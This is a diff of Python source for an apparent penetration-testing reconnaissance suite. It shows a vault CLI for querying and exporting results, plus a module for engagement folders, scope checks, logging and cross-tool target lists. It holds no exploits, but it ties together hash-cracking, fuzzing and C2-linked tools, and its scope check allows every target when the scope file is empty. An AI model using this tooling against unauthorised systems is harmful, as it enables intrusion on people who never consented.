@click.pass_context
|
||||
def export(ctx, table_name, output):
|
||||
"""Export a vault table to CSV."""
|
||||
conn = init_db(ctx.obj["db"])
|
||||
if not output:
|
||||
output = f"um-vault-{table_name}.csv"
|
||||
export_table_csv(conn, table_name, output)
|
||||
conn.close()
|
||||
|
||||
@cli.command()
|
||||
@click.argument("sql_query")
|
||||
@click.pass_context
|
||||
def query(ctx, sql_query):
|
||||
"""Run a custom SQL query on the vault."""
|
||||
conn = init_db(ctx.obj["db"])
|
||||
try:
|
||||
cursor = conn.execute(sql_query)
|
||||
rows = cursor.fetchall()
|
||||
if rows:
|
||||
cols = [d[0] for d in cursor.description]
|
||||
table = Table(box=box.ROUNDED, border_style=THEME_COLOR)
|
||||
for col in cols:
|
||||
table.add_column(col, style="cyan")
|
||||
for r in rows[:100]:
|
||||
table.add_row(*[str(v)[:50] for v in r])
|
||||
console.print(table)
|
||||
console.print(f"[dim]{len(rows)} rows[/]")
|
||||
else:
|
||||
console.print("[dim]No results.[/]")
|
||||
except Exception as e:
|
||||
console.print(f"[red]Query error: {e}[/]")
|
||||
conn.close()
|
||||
|
||||
# ─── Interactive Menu ─────────────────────────────────────────────────────────
|
||||
def interactive_menu(ctx):
|
||||
conn = init_db(ctx.obj["db"])
|
||||
|
||||
def action_handler(key, tui):
|
||||
if key == "1":
|
||||
def on_source(source):
|
||||
if os.path.exists(source):
|
||||
db_type = detect_db_type(source)
|
||||
if db_type:
|
||||
tui.log(f"[*] Detected type: {db_type}")
|
||||
import_fn = IMPORT_MAP[db_type]
|
||||
count = import_fn(conn, source)
|
||||
tui.log(f"[+] Imported {count} records from {source}")
|
||||
else:
|
||||
tui.log(f"[!] Cannot detect database type for {source}")
|
||||
else:
|
||||
tui.log(f"[!] File not found: {source}")
|
||||
tui.prompt("Database file path", on_source)
|
||||
|
||||
elif key == "2":
|
||||
default_files = {
|
||||
"um-wp": "um-wp.db", "um-hash": "um-hash.db",
|
||||
"um-crack": "um-crack.db", "um-scan": "um-scan.db",
|
||||
"um-intel": "um-intel.db", "um-api": "um-api.db",
|
||||
"um-fuzz": "um-fuzz.db", "um-exif": "um-exif.db",
|
||||
"um-enum": "um-enum.db",
|
||||
}
|
||||
total = 0
|
||||
for db_type, filename in default_files.items():
|
||||
if os.path.exists(filename):
|
||||
count = IMPORT_MAP[db_type](conn, filename)
|
||||
tui.log(f"[+] {filename}: {count} records")
|
||||
total += count
|
||||
else:
|
||||
tui.log(f"[-] {filename}: not found")
|
||||
tui.log(f"[*] Total imported: {total} records")
|
||||
|
||||
elif key == "3":
|
||||
def on_dir(directory):
|
||||
db_files = glob.glob(os.path.join(directory, "*.db"))
|
||||
if not db_files:
|
||||
tui.log(f"[!] No .db files found in {directory}")
|
||||
return
|
||||
for db_path in db_files:
|
||||
db_type = detect_db_type(db_path)
|
||||
if db_type and db_type in IMPORT_MAP:
|
||||
count = IMPORT_MAP[db_type](conn, db_path)
|
||||
tui.log(f"[+] {os.path.basename(db_path)}: {count} records")
|
||||
else:
|
||||
tui.log(f"[-] {os.path.basename(db_path)}: unknown type, skipped")
|
||||
tui.prompt("Directory path", on_dir)
|
||||
|
||||
elif key == "4":
|
||||
# Build dashboard as a Rich table for VIEW mode
|
||||
stats = {}
|
||||
tables_map = {
|
||||
"domains": "Domains", "hashes": "Hashes",
|
||||
"ports": "Open Ports", "intel": "Intel Findings",
|
||||
"api_endpoints": "API Endpoints", "fuzz_results": "Fuzz Results",
|
||||
"exif_data": "EXIF Images", "enum_findings": "Enum Findings",
|
||||
"countries": "Countries", "organizations": "Organizations",
|
||||
}
|
||||
for table, label in tables_map.items():
|
||||
try:
|
||||
count = conn.execute(f'SELECT COUNT(*) FROM "{table}"').fetchone()[0]
|
||||
stats[label] = count
|
||||
except Exception:
|
||||
stats[label] = 0
|
||||
t = Table(box=box.HEAVY, border_style=THEME_COLOR,
|
||||
title=f"[bold {THEME_COLOR}]Umbra Vault \u2014 Master Database[/]")
|
||||
t.add_column("Table", style="bold", width=20)
|
||||
t.add_column("Records", justify="right", style="cyan", width=12)
|
||||
for label, count in stats.items():
|
||||
style = "[green]" if count > 0 else "[dim]"
|
||||
t.add_row(label, f"{style}{count:,}[/]")
|
||||
tui.show_table(t)
|
||||
|
||||
elif key == "5":
|
||||
def on_sql(sql):
|
||||
try:
|
||||
cursor = conn.execute(sql)
|
||||
rows = cursor.fetchall()
|
||||
if rows:
|
||||
cols = [d[0] for d in cursor.description]
|
||||
t = Table(box=box.ROUNDED, border_style=THEME_COLOR)
|
||||
for col in cols:
|
||||
t.add_column(col)
|
||||
for r in rows[:50]:
|
||||
t.add_row(*[str(v)[:40] for v in r])
|
||||
tui.log(f"[*] Query returned {len(rows)} rows")
|
||||
tui.show_table(t)
|
||||
else:
|
||||
tui.log("[-] No results.")
|
||||
except Exception as e:
|
||||
tui.log(f"[!] Query error: {e}")
|
||||
tui.prompt("SQL", on_sql)
|
||||
|
||||
elif key == "6":
|
||||
def on_table(tname):
|
||||
def on_file(out):
|
||||
export_table_csv(conn, tname, out)
|
||||
tui.log(f"[+] Exported {tname} to {out}")
|
||||
tui.prompt("Output file", on_file, default=f"um-vault-{tname}.csv")
|
||||
tui.prompt("Table name", on_table)
|
||||
|
||||
elif key == "7":
|
||||
def on_name(name):
|
||||
from um_ops import create_engagement
|
||||
eng_dir = create_engagement(name)
|
||||
tui.log(f"[+] Engagement created: {name}")
|
||||
tui.log(f" Path: {eng_dir}")
|
||||
tui.log(f" Edit scope: {eng_dir}/scope.txt")
|
||||
tui.prompt("Engagement name", on_name)
|
||||
|
||||
elif key == "8":
|
||||
engagements = list_engagements()
|
||||
if not engagements:
|
||||
tui.log("[!] No engagements found. Create one first.")
|
||||
else:
|
||||
for i, eng in enumerate(engagements, 1):
|
||||
tui.log(f" {i}) {eng}")
|
||||
def on_choice(choice):
|
||||
try:
|
||||
idx = int(choice) - 1
|
||||
if 0 <= idx < len(engagements):
|
||||
eng_name = engagements[idx]
|
||||
new_db = get_engagement_db_path(eng_name, TOOL_NAME)
|
||||
nonlocal conn
|
||||
conn.close()
|
||||
conn = init_db(new_db)
|
||||
tui.engagement = eng_name
|
||||
ctx.obj["engagement"] = eng_name
|
||||
tui.log(f"[+] Switched to engagement: {eng_name}")
|
||||
else:
|
||||
tui.log("[!] Invalid selection")
|
||||
except ValueError:
|
||||
tui.log("[!] Enter a number")
|
||||
tui.prompt("Select engagement #", on_choice)
|
||||
|
||||
elif key == "9":
|
||||
eng = ctx.obj.get("engagement")
|
||||
if not eng:
|
||||
tui.log("[!] No engagement active. Use --engagement or switch first.")
|
||||
else:
|
||||
summary = generate_engagement_summary(eng)
|
||||
tui.log(summary)
|
||||
|
||||
tui = UmbraTUI(
|
||||
tool_name=TOOL_NAME,
|
||||
version=VERSION,
|
||||
menu_items=MENU_ITEMS,
|
||||
info_items=VAULT_INFO,
|
||||
action_handler=action_handler,
|
||||
stats_fn=lambda: get_db_stats(conn),
|
||||
theme=THEME_COLOR,
|
||||
engagement=ctx.obj.get("engagement"),
|
||||
)
|
||||
tui.run()
|
||||
conn.close()
|
||||
|
||||
if __name__ == "__main__":
|
||||
cli()
|
||||
@@ -0,0 +1,495 @@
|
||||
"""um_ops.py — Engagement management, scope enforcement, operational logging,
|
||||
and cross-tool import utilities for the Umbra reconnaissance suite.
|
||||
"""
|
||||
|
||||
import atexit
|
||||
import csv
|
||||
import fcntl
|
||||
import ipaddress
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import sqlite3
|
||||
import sys
|
||||
import time
|
||||
from datetime import datetime
|
||||
from fnmatch import fnmatch
|
||||
|
||||
# ─── Paths ───────────────────────────────────────────────────────────────────
|
||||
UMBRA_HOME = os.path.expanduser("~/.umbra")
|
||||
ENGAGEMENTS_DIR = os.path.join(UMBRA_HOME, "engagements")
|
||||
|
||||
# Sub-directories created per engagement
|
||||
ENGAGEMENT_SUBDIRS = [
|
||||
"targets", "scans", "api", "intel", "enum", "fuzz",
|
||||
"hashes", "wordpress", "cracking", "exif", "exports",
|
||||
]
|
||||
|
||||
# Tool name → engagement subdirectory mapping
|
||||
TOOL_DIR_MAP = {
|
||||
"um-scan": "scans",
|
||||
"um-api": "api",
|
||||
"um-intel": "intel",
|
||||
"um-enum": "enum",
|
||||
"um-fuzz": "fuzz",
|
||||
"um-hash": "hashes",
|
||||
"um-wp": "wordpress",
|
||||
"um-crack": "cracking",
|
||||
"um-exif": "exif",
|
||||
"um-vault": ".",
|
||||
}
|
||||
|
||||
# ─── Ops Hook Bridge ────────────────────────────────────────────────────────
|
||||
|
||||
_ops_hook_cls = None
|
||||
|
||||
def get_ops_hook(tool_name, engagement=None):
|
||||
"""Return an OpsHook instance (auto-imports from c2itall). Returns None if unavailable.
|
||||
|
||||
Registers an atexit handler to call hook.complete() on clean exit.
|
||||
"""
|
||||
global _ops_hook_cls
|
||||
engagement = engagement or os.environ.get("UMBRA_ENGAGEMENT", "")
|
||||
if not engagement:
|
||||
return None
|
||||
if _ops_hook_cls is None:
|
||||
try:
|
||||
c2_path = os.path.expanduser("~/tools/c2itall")
|
||||
if c2_path not in sys.path:
|
||||
sys.path.insert(0, c2_path)
|
||||
from utils.ops_hook import OpsHook
|
||||
_ops_hook_cls = OpsHook
|
||||
except ImportError:
|
||||
_ops_hook_cls = False # sentinel: tried and failed
|
||||
if _ops_hook_cls is False:
|
||||
return None
|
||||
hook = _ops_hook_cls(tool_name, engagement)
|
||||
atexit.register(lambda h=hook: _safe_complete(h))
|
||||
return hook
|
||||
|
||||
|
||||
def _safe_complete(hook):
|
||||
"""atexit callback — mark tool completed if it's still running."""
|
||||
try:
|
||||
if hook and hook.active:
|
||||
hook.complete()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
|
||||
# ─── Engagement Management ───────────────────────────────────────────────────
|
||||
|
||||
def create_engagement(name):
|
||||
"""Create engagement directory structure. Idempotent — safe to call multiple times.
|
||||
|
||||
Returns the engagement root path.
|
||||
"""
|
||||
name = name.strip().replace(" ", "_")
|
||||
eng_dir = os.path.join(ENGAGEMENTS_DIR, name)
|
||||
os.makedirs(eng_dir, exist_ok=True)
|
||||
|
||||
# Core files
|
||||
scope_file = os.path.join(eng_dir, "scope.txt")
|
||||
if not os.path.exists(scope_file):
|
||||
with open(scope_file, "w") as f:
|
||||
f.write("# Scope file — one target per line\n")
|
||||
f.write("# Supported: CIDR (10.0.0.0/24), IP ranges (10.0.0.1-10), single IPs, FQDNs, *.wildcard\n")
|
||||
|
||||
log_file = os.path.join(eng_dir, "umbra.log")
|
||||
if not os.path.exists(log_file):
|
||||
with open(log_file, "w") as f:
|
||||
f.write(f"# Umbra engagement log — {name}\n")
|
||||
f.write(f"# Created: {datetime.now().isoformat()}\n\n")
|
||||
|
||||
csv_file = os.path.join(eng_dir, "command_log.csv")
|
||||
if not os.path.exists(csv_file):
|
||||
with open(csv_file, "w", newline="") as f:
|
||||
writer = csv.writer(f)
|
||||
writer.writerow(["timestamp", "tool", "action", "target", "result"])
|
||||
|
||||
# Sub-directories
|
||||
for subdir in ENGAGEMENT_SUBDIRS:
|
||||
os.makedirs(os.path.join(eng_dir, subdir), exist_ok=True)
|
||||
|
||||
return eng_dir
|
||||
|
||||
|
||||
def list_engagements():
|
||||
"""Return a sorted list of engagement names."""
|
||||
if not os.path.isdir(ENGAGEMENTS_DIR):
|
||||
return []
|
||||
return sorted(
|
||||
d for d in os.listdir(ENGAGEMENTS_DIR)
|
||||
if os.path.isdir(os.path.join(ENGAGEMENTS_DIR, d))
|
||||
)
|
||||
|
||||
|
||||
def get_engagement_dir(name):
|
||||
"""Return the engagement root directory (creates if needed)."""
|
||||
return create_engagement(name)
|
||||
|
||||
|
||||
def get_tool_output_dir(engagement, tool_name):
|
||||
"""Return the tool-specific subdirectory inside an engagement."""
|
||||
eng_dir = get_engagement_dir(engagement)
|
||||
subdir = TOOL_DIR_MAP.get(tool_name, "exports")
|
||||
path = os.path.join(eng_dir, subdir)
|
||||
os.makedirs(path, exist_ok=True)
|
||||
return path
|
||||
|
||||
|
||||
def get_engagement_db_path(engagement, tool_name):
|
||||
"""Return the path for a tool's database inside an engagement."""
|
||||
tool_dir = get_tool_output_dir(engagement, tool_name)
|
||||
return os.path.join(tool_dir, f"{tool_name}.db")
|
||||
|
||||
|
||||
# ─── Scope Enforcement ──────────────────────────────────────────────────────
|
||||
|
||||
def load_scope(file_path):
|
||||
"""Parse a scope file and return a list of scope entries.
|
||||
|
||||
Supported formats:
|
||||
- CIDR: 10.0.0.0/24
|
||||
- IP range: 10.0.0.1-10 (expands last octet)
|
||||
- Single IP: 10.0.0.1
|
||||
- FQDN: example.com
|
||||
- Wildcard: *.example.com
|
||||
- Comment lines start with #
|
||||
"""
|
||||
scope = []
|
||||
file_path = os.path.expanduser(file_path)
|
||||
if not os.path.exists(file_path):
|
||||
return scope
|
||||
|
||||
with open(file_path) as f:
|
||||
for raw_line in f:
|
||||
line = raw_line.strip()
|
||||
if not line or line.startswith("#"):
|
||||
continue
|
||||
scope.append(line)
|
||||
return scope
|
||||
|
||||
|
||||
def _is_ip(s):
|
||||
"""Check if string looks like an IP address."""
|
||||
try:
|
||||
ipaddress.ip_address(s)
|
||||
return True
|
||||
except ValueError:
|
||||
return False
|
||||
|
||||
|
||||
def _match_cidr(target_ip, cidr):
|
||||
"""Check if an IP is within a CIDR range."""
|
||||
try:
|
||||
return ipaddress.ip_address(target_ip) in ipaddress.ip_network(cidr, strict=False)
|
||||
except ValueError:
|
||||
return False
|
||||
|
||||
|
||||
def _match_ip_range(target_ip, range_str):
|
||||
"""Match an IP range like 10.0.0.1-10."""
|
||||
m = re.match(r"^(\d+\.\d+\.\d+\.)(\d+)-(\d+)$", range_str)
|
||||
if not m:
|
||||
return False
|
||||
prefix, start, end = m.group(1), int(m.group(2)), int(m.group(3))
|
||||
try:
|
||||
last_octet = int(target_ip.split(".")[-1])
|
||||
ip_prefix = ".".join(target_ip.split(".")[:-1]) + "."
|
||||
return ip_prefix == prefix and start <= last_octet <= end
|
||||
except (ValueError, IndexError):
|
||||
return False
|
||||
|
||||
|
||||
def check_scope(target, scope):
|
||||
"""Check if a target is within scope.
|
||||
|
||||
Returns True if allowed (in scope or scope is empty).
|
||||
Returns False if blocked (out of scope).
|
||||
"""
|
||||
if not scope:
|
||||
return True # Empty scope = allow all
|
||||
|
||||
# Normalize target
|
||||
target = target.strip().lower()
|
||||
# Strip protocol/path if URL
|
||||
if "://" in target:
|
||||
from urllib.parse import urlparse
|
||||
parsed = urlparse(target)
|
||||
target = parsed.hostname or target
|
||||
|
||||
target_is_ip = _is_ip(target)
|
||||
|
||||
for entry in scope:
|
||||
entry_lower = entry.lower().strip()
|
||||
|
||||
# CIDR match
|
||||
if "/" in entry and target_is_ip:
|
||||
if _match_cidr(target, entry):
|
||||
return True
|
||||
continue
|
||||
|
||||
# IP range match
|
||||
if re.match(r"^\d+\.\d+\.\d+\.\d+-\d+$", entry):
|
||||
if target_is_ip and _match_ip_range(target, entry):
|
||||
return True
|
||||
continue
|
||||
|
||||
# Exact IP match
|
||||
if _is_ip(entry) and target_is_ip:
|
||||
if target == entry:
|
||||
return True
|
||||
continue
|
||||
|
||||
# Wildcard FQDN match
|
||||
if entry_lower.startswith("*."):
|
||||
# *.example.com matches foo.example.com and example.com
|
||||
domain_part = entry_lower[2:]
|
||||
if target == domain_part or target.endswith("." + domain_part):
|
||||
return True
|
||||
continue
|
||||
|
||||
# Exact FQDN match
|
||||
if target == entry_lower:
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
|
||||
def get_scope_for_engagement(name):
|
||||
"""Load scope from an engagement's scope.txt file."""
|
||||
eng_dir = os.path.join(ENGAGEMENTS_DIR, name.strip().replace(" ", "_"))
|
||||
scope_file = os.path.join(eng_dir, "scope.txt")
|
||||
return load_scope(scope_file)
|
||||
|
||||
|
||||
# ─── Operational Logging ────────────────────────────────────────────────────
|
||||
|
||||
def op_log(engagement, message, level="info"):
|
||||
"""Append a timestamped log entry to the engagement's umbra.log.
|
||||
|
||||
Levels: info=[*], success=[+], warning=[!], error=[-]
|
||||
"""
|
||||
prefixes = {
|
||||
"info": "[*]",
|
||||
"success": "[+]",
|
||||
"warning": "[!]",
|
||||
"error": "[-]",
|
||||
}
|
||||
prefix = prefixes.get(level, "[*]")
|
||||
ts = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
|
||||
eng_dir = os.path.join(ENGAGEMENTS_DIR, engagement.strip().replace(" ", "_"))
|
||||
log_path = os.path.join(eng_dir, "umbra.log")
|
||||
try:
|
||||
os.makedirs(eng_dir, exist_ok=True)
|
||||
with open(log_path, "a") as f:
|
||||
f.write(f"{ts} {prefix} {message}\n")
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
|
||||
def op_log_csv(engagement, tool, action, target, result):
|
||||
"""Append a structured CSV audit row to command_log.csv."""
|
||||
eng_dir = os.path.join(ENGAGEMENTS_DIR, engagement.strip().replace(" ", "_"))
|
||||
csv_path = os.path.join(eng_dir, "command_log.csv")
|
||||
ts = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
|
||||
try:
|
||||
os.makedirs(eng_dir, exist_ok=True)
|
||||
with open(csv_path, "a", newline="") as f:
|
||||
writer = csv.writer(f)
|
||||
writer.writerow([ts, tool, action, target, result])
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
|
||||
def generate_engagement_summary(name):
|
||||
"""Generate a text summary of all tool activity within an engagement."""
|
||||
eng_dir = os.path.join(ENGAGEMENTS_DIR, name.strip().replace(" ", "_"))
|
||||
if not os.path.isdir(eng_dir):
|
||||
return f"Engagement '{name}' not found."
|
||||
|
||||
lines = [
|
||||
f"Engagement Summary: {name}",
|
||||
f"{'=' * 50}",
|
||||
f"Path: {eng_dir}",
|
||||
f"Generated: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}",
|
||||
"",
|
||||
]
|
||||
|
||||
# Check each tool subdirectory for .db files
|
||||
for tool_name, subdir in TOOL_DIR_MAP.items():
|
||||
tool_dir = os.path.join(eng_dir, subdir)
|
||||
db_path = os.path.join(tool_dir, f"{tool_name}.db")
|
||||
if os.path.exists(db_path):
|
||||
try:
|
||||
conn = sqlite3.connect(db_path)
|
||||
tables = [r[0] for r in conn.execute(
|
||||
"SELECT name FROM sqlite_master WHERE type='table'"
|
||||
).fetchall()]
|
||||
counts = {}
|
||||
for tbl in tables:
|
||||
try:
|
||||
c = conn.execute(f'SELECT COUNT(*) FROM "{tbl}"').fetchone()[0]
|
||||
if c > 0:
|
||||
counts[tbl] = c
|
||||
except Exception:
|
||||
pass
|
||||
conn.close()
|
||||
if counts:
|
||||
lines.append(f" {tool_name}:")
|
||||
for tbl, cnt in counts.items():
|
||||
lines.append(f" {tbl}: {cnt:,} records")
|
||||
except Exception:
|
||||
lines.append(f" {tool_name}: DB error")
|
||||
else:
|
||||
# Check if directory has any files at all
|
||||
if os.path.isdir(tool_dir) and os.listdir(tool_dir):
|
||||
lines.append(f" {tool_name}: files present (no DB)")
|
||||
|
||||
# Scope info
|
||||
scope = get_scope_for_engagement(name)
|
||||
if scope:
|
||||
lines.append(f"\nScope: {len(scope)} entries")
|
||||
for entry in scope[:10]:
|
||||
lines.append(f" {entry}")
|
||||
if len(scope) > 10:
|
||||
lines.append(f" ... and {len(scope) - 10} more")
|
||||
|
||||
# Log stats
|
||||
log_path = os.path.join(eng_dir, "umbra.log")
|
||||
if os.path.exists(log_path):
|
||||
with open(log_path) as f:
|
||||
log_lines = f.readlines()
|
||||
# Count non-comment, non-empty lines
|
||||
entries = [l for l in log_lines if l.strip() and not l.startswith("#")]
|
||||
lines.append(f"\nLog entries: {len(entries)}")
|
||||
|
||||
# CSV command log
|
||||
csv_path = os.path.join(eng_dir, "command_log.csv")
|
||||
if os.path.exists(csv_path):
|
||||
with open(csv_path) as f:
|
||||
reader = csv.reader(f)
|
||||
next(reader, None) # Skip header
|
||||
commands = list(reader)
|
||||
lines.append(f"Commands logged: {len(commands)}")
|
||||
|
||||
return "\n".join(lines)
|
||||
|
||||
|
||||
# ─── State & Event Stream (for ops dashboard) ──────────────────────────────
|
||||
|
||||
def write_tool_state(engagement, tool_name, status, **extra):
|
||||
"""Write tool status to state.json for dashboard consumption.
|
||||
|
||||
Called automatically by op_log when level is 'success' (tool start/finish).
|
||||
Can also be called directly for fine-grained control.
|
||||
"""
|
||||
eng_dir = os.path.join(ENGAGEMENTS_DIR, engagement.strip().replace(" ", "_"))
|
||||
state_path = os.path.join(eng_dir, "state.json")
|
||||
try:
|
||||
os.makedirs(eng_dir, exist_ok=True)
|
||||
fd = os.open(state_path, os.O_RDWR | os.O_CREAT)
|
||||
try:
|
||||
fcntl.flock(fd, fcntl.LOCK_EX)
|
||||
raw = b""
|
||||
while True:
|
||||
chunk = os.read(fd, 8192)
|
||||
if not chunk:
|
||||
break
|
||||
raw += chunk
|
||||
state = json.loads(raw) if raw.strip() else {"tools": {}}
|
||||
state.setdefault("tools", {})
|
||||
tool_entry = state["tools"].get(tool_name, {})
|
||||
tool_entry["status"] = status
|
||||
tool_entry.update(extra)
|
||||
state["tools"][tool_name] = tool_entry
|
||||
state["updated"] = time.strftime("%Y-%m-%dT%H:%M:%S")
|
||||
out = json.dumps(state, indent=2).encode()
|
||||
os.lseek(fd, 0, os.SEEK_SET)
|
||||
os.ftruncate(fd, 0)
|
||||
os.write(fd, out)
|
||||
finally:
|
||||
fcntl.flock(fd, fcntl.LOCK_UN)
|
||||
os.close(fd)
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
|
||||
def emit_event(engagement, tool_name, event_type, message):
|
||||
"""Append event to events.jsonl for dashboard live feed."""
|
||||
eng_dir = os.path.join(ENGAGEMENTS_DIR, engagement.strip().replace(" ", "_"))
|
||||
events_path = os.path.join(eng_dir, "events.jsonl")
|
||||
try:
|
||||
os.makedirs(eng_dir, exist_ok=True)
|
||||
entry = json.dumps({
|
||||
"ts": time.strftime("%Y-%m-%dT%H:%M:%S"),
|
||||
"tool": tool_name,
|
||||
"type": event_type,
|
||||
"msg": message,
|
||||
})
|
||||
with open(events_path, "a") as f:
|
||||
fcntl.flock(f, fcntl.LOCK_EX)
|
||||
f.write(entry + "\n")
|
||||
fcntl.flock(f, fcntl.LOCK_UN)
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
|
||||
# ─── Cross-Tool Imports ─────────────────────────────────────────────────────
|
||||
|
||||
# Maps tool name to (table_name, target_column) for extracting targets
|
||||
TOOL_TARGET_QUERIES = {
|
||||
"um-scan": ("SELECT DISTINCT host FROM hosts", "host"),
|
||||
"um-api": ("SELECT DISTINCT target FROM targets", "target"),
|
||||
"um-intel": ("SELECT DISTINCT target FROM targets", "target"),
|
||||
"um-enum": ("SELECT DISTINCT domain FROM targets", "domain"),
|
||||
"um-fuzz": ("SELECT DISTINCT base_url FROM results", "base_url"),
|
||||
"um-hash": ("SELECT DISTINCT domain FROM sites", "domain"),
|
||||
"um-wp": ("SELECT DISTINCT domain FROM sites WHERE is_wordpress=1", "domain"),
|
||||
"um-crack": ("SELECT DISTINCT domain FROM hashes WHERE cracked_email != ''", "domain"),
|
||||
"um-exif": ("SELECT DISTINCT file_path FROM images WHERE has_exif=1", "file_path"),
|
||||
}
|
||||
|
||||
|
||||
def get_targets_from_tool_db(db_path, tool_name):
|
||||
"""Query another tool's database to extract target list.
|
||||
|
||||
Returns a list of target strings.
|
||||
"""
|
||||
if not os.path.exists(db_path):
|
||||
return []
|
||||
|
||||
query_info = TOOL_TARGET_QUERIES.get(tool_name)
|
||||
if not query_info:
|
||||
return []
|
||||
|
||||
query = query_info[0]
|
||||
try:
|
||||
conn = sqlite3.connect(db_path)
|
||||
rows = conn.execute(query).fetchall()
|
||||
conn.close()
|
||||
return [str(r[0]) for r in rows if r[0]]
|
||||
except Exception:
|
||||
return []
|
||||
|
||||
|
||||
def find_tool_db(tool_name, engagement=None):
|
||||
"""Locate a tool's database file.
|
||||
|
||||
Search order:
|
||||
1. Engagement directory (if provided)
|
||||
2. Current working directory
|
||||
"""
|
||||
# Check engagement directory first
|
||||
if engagement:
|
||||
db_path = get_engagement_db_path(engagement, tool_name)
|
||||
if os.path.exists(db_path):
|
||||
return db_path
|
||||
|
||||
# Fall back to current working directory
|
||||
cwd_path = os.path.join(os.getcwd(), f"{tool_name}.db")
|
||||
if os.path.exists(cwd_path):
|
||||
return cwd_path
|
||||
|
||||
return None
|
||||
Reference in New Issue
Block a user